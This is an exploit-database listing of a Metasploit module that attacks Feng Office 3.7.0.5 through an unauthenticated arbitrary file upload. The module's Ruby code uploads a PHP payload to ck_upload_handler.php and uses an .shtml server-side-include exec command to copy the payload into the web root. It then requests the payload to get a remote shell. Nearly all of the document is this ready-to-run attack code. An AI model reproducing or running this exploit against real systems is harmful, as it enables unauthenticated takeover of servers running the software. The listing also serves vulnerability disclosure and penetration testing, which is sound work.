Feng Office 3.7.0.5 Remote Command Execution

🗓️ 28 Feb 2019 00:00:00Reported by Ozkan Mustafa AkkusType

packetstorm🔗 packetstormsecurity.com👁 25 Views

Feng Office 3.7.0.5 Unauthenticated Remote Command Execution via Arbitrary File Upload

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'uri'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize  
super(  
'Name' => 'Feng Office 3.7.0.5 - (Unauthenticated) Remote Command Execution',  
'Description' => %q{  
This module exploits arbitrary file upload vulnerability in Feng Office 3.7.0.5.   
Application allows the unauthenticated users to upload arbitrary files.   
There is no control of any session. All files are sent under "/tmp" directory.  
The ".htaccess" file under the "/tmp" directory prevents files with the "php,php2,php3.." extensions.  
This exploit creates the php payload and moves the payload to the main directory via "shtml".  
After moving the php payload to the main directory, Exploit executes payload and receives shell.  
},  
'Author' => [  
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://pentest.com.tr/exploits/Feng-Office-3-7-0-5-Unauthenticated-Remote-Command-Execution-Metasploit.html'],   
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Feng Office <= 3.7.0.5', {}]  
],  
'DisclosureDate' => '28 Feb 2019',  
'Privileged' => false,   
'DefaultTarget' => 0  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to Feng Office', '/']),  
], self.class)  
end  
  
def exploit   
##  
# Upload Payload and directory discovery  
##   
boundary = Rex::Text.rand_text_alphanumeric(29)  
  
data = "-----------------------------{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"upload\"; filename=\"akkus.php\"\r\n"  
data << "Content-Type: binary/octet-stream\r\n\r\n"  
data << payload.encoded  
data << "\n\r\n-----------------------------{boundary}--\r\n"  
  
  
data << "-----------------------------{boundary}--\r\n"  
  
res = send_request_cgi({  
'method' => 'POST',   
'data' => data,  
'headers' =>  
{  
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}'  
},  
'uri' => normalize_uri(target_uri, "/ck_upload_handler.php")   
})  
  
  
if not (res and res.body =~ /tmp\/([^\"]+)\',/)  
print_error("Something went wrong. PHP File Upload failed.")  
return nil  
end  
upfile = $1  
print_status("PHP Payload: #{upfile}")  
  
updir = res.body.scan(/<b>.+ck_upload_handler.php/).map{ |s| s.split("in ").last }.map{ |s| s.split("<b>").last }.map{ |s| s.split("ck_upload_handler.php").last }  
dirc = updir[0]  
print_status("Application Directory Path: #{dirc}")  
##  
# Upload shtml and run CMD command to move Payload to the main directory  
##   
  
data = "-----------------------------{boundary}\r\n"  
data << "Content-Disposition: form-data; name=\"upload\"; filename=\"akkus.shtml\"\r\n"  
data << "Content-Type: text/html\r\n\r\n<html>\r\n<!--#exec cmd=\""  
data << "cp #{dirc}tmp/#{upfile} #{dirc}"  
data << "\" -->\r\n</html>\n\r\n"  
data << "-----------------------------{boundary}--\r\n"  
  
res = send_request_cgi({  
'method' => 'POST',   
'data' => data,  
'headers' =>  
{  
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}'  
},  
'uri' => normalize_uri(target_uri, "/ck_upload_handler.php")   
})  
  
if not (res and res.body =~ /tmp\/([^\"]+)\',/)  
print_error("Something went wrong. sHTML file Upload failed.")  
return nil  
else  
print_good("Uploads successful completed.")   
end  
upfile2 = $1  
print_status("SHTML Payload: #{upfile2}")  
print_good("#{peer} - Retrieving remote command shell...")  
  
##  
# Running shtml for file migration  
##   
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, "/tmp/#{upfile2}"),  
})  
##  
# Running php for remote shell  
##   
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, "/#{upfile}"),  
})  
  
end   
end  
##  
# End  
##  
`

28 Feb 2019 00:00Current

7.4High risk

Vulners AI Score7.4